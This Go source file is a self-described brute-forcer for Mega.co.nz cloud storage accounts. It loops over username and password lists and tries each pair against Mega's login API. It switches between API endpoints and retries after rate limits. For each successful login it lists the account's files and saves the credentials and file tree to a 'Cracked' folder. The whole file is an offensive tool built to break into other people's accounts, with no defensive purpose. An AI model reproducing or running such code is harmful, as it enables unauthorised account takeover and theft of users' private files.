// A Basic Mega.co.nz Bruteforcer, nothing special :)))) // Features: // - Gives Username and Password // - Lists files // - Saves to Cracked File listing login and Filetree // // Mods: // You will need to do a small hack to the mega.go file of (go-mega); You need to change "API_URL" from Const to a Var so // var API_URL = "https://eu.api.mega.co.nz" // // Compiling: // Import needed packages. go build main.go // // Packages Used: // github.com/t3rm1n4l/go-mega // github.com/t3rm1n4l/megacmd/client package main import ( "fmt" "io/ioutil" "math/rand" "os" "strconv" "strings" "time" "github.com/t3rm1n4l/go-mega" "github.com/t3rm1n4l/megacmd/client" ) var ( api = [...]string{"https://eu.api.mega.co.nz", "https://g.api.mega.co.nz"} //API's ) func checkFileExist(filePath string) bool { if _, err := os.Stat(filePath); os.IsNotExist(err) { return false } else { return true } } func getContent(file string) ([]string, error) { f, err := ioutil.ReadFile(file) if err != nil { return []string{}, fmt.Errorf("error opening file %v", err) } results := strings.Split(string(f), "\r\n") return results, nil } type Page struct { Title string Body []byte } func (p *Page) save() error { filename := p.Title + ".txt" return ioutil.WriteFile("./Cracked/"+filename, p.Body, 0600) } func countFiles() int { //Count # of files profiles, _ := ioutil.ReadDir("./Cracked") return len(profiles) } func main() { if checkFileExist(os.Args[0]+"username.txt") && checkFileExist(os.Args[0]+"password.txt") { fmt.Println("Error! username.txt OR password.txt not found!") os.Exit(1) } usernames, err := getContent("username.txt") if err != nil { fmt.Println(err) return } passwords, err := getContent("password.txt") if err != nil { fmt.Println(err) return } for _, u := range usernames { for _, p := range passwords { retry: conf := new(megaclient.Config) rand.Seed(time.Now().UTC().UnixNano()) mega.API_URL = api[rand.Intn(len(api))] conf.User = u conf.Password = p client, err := megaclient.NewMegaClient(conf) if err != nil { fmt.Println(err) } err = client.Login() if err != nil { if err == mega.ENOENT { fmt.Println("[Bad] " + u + ":" + p) break } else { fmt.Println("[Limited] Unable to establish connection to mega service", err) time.Sleep(time.Duration(30) * time.Second) goto retry } } var tmpstring string tmpstring += "Login: " + u + ":" + p + "\r\n" fmt.Println("[Good] " + u + ":" + p) paths, err := client.List("mega:/") if err != nil && err != mega.ENOENT { fmt.Println("[ERROR] List failed ", err) } if err == nil { for _, p := range *paths { tmpstring += p.GetPath() + "\r\n" } s1 := strconv.Itoa(countFiles()) p1 := &Page{Title: "Cracked Account " + s1, Body: []byte(tmpstring)} p1.save() } } } }